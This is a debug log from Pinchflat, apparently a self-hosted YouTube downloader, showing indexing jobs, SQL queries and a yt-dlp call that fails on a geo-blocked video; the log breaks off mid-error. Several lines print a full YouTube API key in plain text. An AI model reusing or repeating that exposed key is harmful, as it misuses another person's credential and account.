[] 17:07:06.723 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 17:07:06.723 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:06.723 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:06.797 [debug] QUERY OK source="media_items" db=0.6ms idle=73.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [13, "aJDWyp19j9w", "WnBb3DLlVPw", "RYKpKMFIdGQ", "Hzz_d9Y44ZE", "fDvxq7IF1W4", "0xLzDF7PZW8", "EYoOiVsHJTw", "IrZCYj2ZHj8", "3GUQdrpduo0", "Y2qSaD1v4cQ", "P3Y4d2aHnNE", "XgzL05Gojfw", "0Kp3bjm55xw", "upLSYyprib8", "ZA_EifQu6is", "_hAuKtoRxJI", "HQtwULiTEmo", "pmKL3pgPQhY", "rW1cg3hDdc4", "wjny4u5THpU", "wjDaUFdKjR4", "itAMIIBnZ-8", "yO5fJ8z66Z8", "C4cNnVK412U", "eUywI8YGy0Y", "7hdJQkn8rtA", "ed8QTKtLxKs", "ZaeBfVc1NZQ", "hQFkbg7he-4", "ChtJ8gUuQWY", "1WuJtcgExa8", "RpoXFk-ixZc", "NCkyQuKjpVc", "EZbsIT2Uh5k", "NeopkvAP-ag", "m5s6xerRqVY", "UOIFxgid0uk", "LUTx3uwuQFE", "Xx_ylYKD6Bo", "VDV1R1j1n5I", "5E4nMfxjA3s", "gpDqUyXKqTA", "BRdq2ExLJns", "HfFAiCMLJ14", "TC9-t47tKts", "ivSOrKAsPss", "tBD1NyabTt4", "33yvx6Uui-c", "FuSsFdzF8tE", ...] 17:07:06.798 [debug] QUERY OK source="media_items" db=0.2ms idle=74.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [13] 17:07:06.799 [debug] QUERY OK source="tasks" db=0.1ms idle=75.4ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800131, 13, ~U[2026-02-10 23:07:06Z], ~U[2026-02-10 23:07:06Z]] 17:07:06.799 [info] {"args":{"id":13},"id":3800092,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":137578,"event":"job:stop","queue_time":350364,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:06.883 [debug] QUERY OK source="media_items" db=0.5ms idle=84.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 17:07:06.884 [debug] QUERY OK source="media_items" db=0.3ms idle=85.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 17:07:07.018 [debug] QUERY OK source="tasks" db=50.2ms idle=163.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800132, 22, ~U[2026-02-10 23:07:06Z], ~U[2026-02-10 23:07:06Z]] 17:07:07.019 [info] {"args":{"id":22},"id":3800093,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":296359,"event":"job:stop","queue_time":294203,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:07.565 [info] {"args":{"id":6},"id":3800094,"meta":{},"system_time":1770764827565680632,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:07.566 [debug] QUERY OK source="sources" db=0.1ms idle=546.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 17:07:07.566 [debug] QUERY OK source="settings" db=0.1ms idle=546.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.566 [debug] QUERY OK source="media_profiles" db=0.0ms idle=540.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:07.566 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.566 [debug] Fetching recent media IDs from YouTube API for playlist: UU3XTzVzaHQEd30rQbuvCtTQ 17:07:07.566 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.566 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:07.690 [debug] QUERY OK source="media_items" db=0.7ms idle=123.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [6, "PawUmci7JuU", "8xRgXlUF4vM", "dm5IwjiGT80", "2fH8RYbqSj8", "5T2clCWmo24", "JduzROpaMlw", "7hkuCkya9IQ", "EJHHiu9fB9A", "yknMJOgy2pA", "-iRUq-Dy7QE", "Dhe1E2vzziA", "SLVL_wg3Hz0", "gi4swT8LK1U", "l4-_ZmwoZbg", "Y93ljB7sfco", "LmmeWg_DHdc", "SUogDr7iOF4", "_94sC2k37vo", "zk_P1rSKR4g", "e_Sv2Jva5D0", "wVFXUkFx5Y8", "0qmNAOCgbgY", "vO4XdC2aOrU", "KcYKVB-0Vqw", "hNlJdQwvr3o", "-7ExqSFtKEM", "sl9IRn33Fig", "Mwc21oNdnaA", "Ejoi9yfLVCc", "73iQpsIE0i8", "m9ExweRMFAA", "s9FsxWK0f1A", "-xIQxzlXN-0", "cicEeYtFd1M", "a277Pg23Dao", "-6r-lAxhtv4", "bl6Ww92bb0o", "gieTx_P6INQ", "9iZK_DurYOo", "xQwGv4UYvbk", "88YixeXbRMo", "eHJwoYjTyyE", "SCv0hlq5iQY", "JOoHELC8w8M", "dB1-lg-xZWc", "NtHZ7IR88dg", "S9EVYaSa1Ws", "Wg8OcJopuBE", "z016SEN7HzE", ...] 17:07:07.690 [debug] QUERY OK source="settings" db=0.0ms idle=124.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.691 [debug] QUERY OK source="settings" db=0.0ms idle=124.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.691 [debug] Running yt-dlp command for action: get_media_attributes 17:07:07.692 [debug] QUERY OK source="settings" db=0.0ms idle=126.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.693 [debug] QUERY OK source="settings" db=0.0ms idle=126.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.693 [debug] QUERY OK source="settings" db=0.0ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:07.693 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/31/6a/316addab5fdf108076c92cae210adf2008a925c0a4b90f201f543bd1e3996a32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:08.567 [info] {"args":{"id":14},"id":3800095,"meta":{},"system_time":1770764828567735544,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:08.568 [debug] QUERY OK source="sources" db=0.1ms idle=874.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [14] 17:07:08.568 [debug] QUERY OK source="settings" db=0.1ms idle=874.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:08.568 [debug] QUERY OK source="media_profiles" db=0.1ms idle=875.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:08.568 [debug] QUERY OK source="settings" db=0.1ms idle=7.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:08.568 [debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 17:07:08.568 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:08.568 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:08.666 [debug] QUERY OK source="media_items" db=0.8ms idle=97.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", "QWWfIg3F36k", "bztt89scgH0", "Ih1c6_PnLbo", "9zCt0Iuo_1c", "xQL-tr6l5yg", "lv8ty1wn0TE", "Uj8Ajtelzw8", "Cup6uH0_8z8", "M24VNNtj7dg", "6ZS6Hmjnp14", "yvUTsieYw20", "HNapnDvLKTs", "7EMS_9ZydT8", "hp-ASYtCDNE", "8XP47iCJlJk", "UJaRNiLTiKQ", "swm7n88QmLA", "NVEOV_FgGBc", "4c17zAW6Q54", "TbuAvyyjxyM", "kTMEXgxtE4s", "aViuBgbokmI", "XS_I3cN9CeI", "oK9XgPNXeUI", "1tf5v-I72VQ", "iQxHEkbwqzY", "_a6TbDoSOe4", "LpoGGGDtK9U", "BrfKaMHCjGA", "9Aw-hoPrHok", "frJ4DvQYpes", "cQUlbFmjDcM", "Ty92ZPi6LAY", "55NAeEwEqtQ", ...] 17:07:08.667 [debug] QUERY OK source="media_items" db=1.2ms idle=98.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 17:07:08.668 [debug] QUERY OK source="tasks" db=0.1ms idle=99.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800133, 14, ~U[2026-02-10 23:07:08Z], ~U[2026-02-10 23:07:08Z]] 17:07:08.669 [info] {"args":{"id":14},"id":3800095,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101171,"event":"job:stop","queue_time":503582,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:09.697 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-iRUq-Dy7QE --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/31/6a/316addab5fdf108076c92cae210adf2008a925c0a4b90f201f543bd1e3996a32.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:09.698 [error] Error creating media item '-iRUq-Dy7QE' from URL: {:error, "ERROR: [youtube] -iRUq-Dy7QE: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, 